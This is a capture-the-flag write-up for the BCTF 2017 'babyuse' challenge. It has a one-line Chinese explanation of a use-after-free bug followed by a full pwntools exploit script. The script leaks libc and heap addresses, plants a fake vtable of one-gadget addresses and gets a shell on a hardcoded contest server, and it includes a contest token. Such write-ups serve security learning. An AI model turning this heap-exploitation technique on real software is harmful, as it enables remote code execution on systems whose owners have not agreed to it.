BCTF 2017 babyuse

babyuse

使用武器时存在UAF,不要选择,把下标为0的武器删除再使用即可,最后改vatable成员为libc中的one-gadget即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
context.log_level = 'info'
def New(p, type, length, name):
p.recvuntil('7. Exit\n')
p.send('1\n')
p.recvuntil('2. QBZ95\n')
p.send(str(type) + '\n')
p.recvuntil('\n')
p.send(str(length) + '\n')
p.recvuntil('Input name:\n')
p.send(name)
p.recvuntil('7. Exit\n')
p.send('8\n')
def Drop(p, idx):
p.recvuntil('7. Exit\n')
p.send('6\n')
p.recvuntil('Choose a gun to delete:\n')
p.send(str(idx) + '\n')
p.recvuntil('7. Exit\n')
p.send('8\n')
def Rename(p, idx, length, name):
p.recvuntil('7. Exit\n')
p.send('4\n')
p.recvuntil('Choose a gun to rename:\n')
p.send(str(idx) + '\n')
p.recvuntil('\n')
p.send(str(length) + '\n')
p.recvuntil('Input name:\n')
p.send(name)
p.recvuntil('7. Exit\n')
p.send('8\n')
#p = process('./babyuse_patched2', env = {'LD_PRELOAD' : './libc.so'})
p = remote('202.112.51.247', 3456)
REMOTE = True
if REMOTE:
p.recvuntil('Token:')
p.send('yrkm0XEl56HqNPp8LrHuV0CRbvfW4aoT\n')
New(p, 1, 0x7f, 'A' * 0x80)
New(p, 1, 0x7f, 'B' * 0x80)
New(p, 1, 0x7f, 'C' * 0x80)
Drop(p, 0)
Drop(p, 1)
p.recvuntil('7. Exit\n')
p.send('5\n')
p.recvuntil('Select gun ')
main_arena = u32(p.recvn(4))
libc_base = main_arena - 0x1b27b0
log.info("libc base: " + hex(libc_base))
heap_addr = u32(p.recvn(4))
log.info("heap addr: " + hex(heap_addr))
p.recvuntil('4. Main menu')
p.send('4\n')
Drop(p, 2)
payload = ''
payload += p32(0xdeadbeef) * 2
payload += p32(libc_base + 0x3ac69)
payload += p32(libc_base + 0x5fbc5)
payload += p32(libc_base + 0x5fbc6)
New(p, 1, 0x7f, payload + '\n')
New(p, 1, 0x1f, 'B' * 0x20)
fake_vtable = heap_addr - 0xa8
Drop(p, 0)
Rename(p, 1, 0x0f, p32(fake_vtable) + '\n')
p.interactive()
文章目录
  1. 1. babyuse
|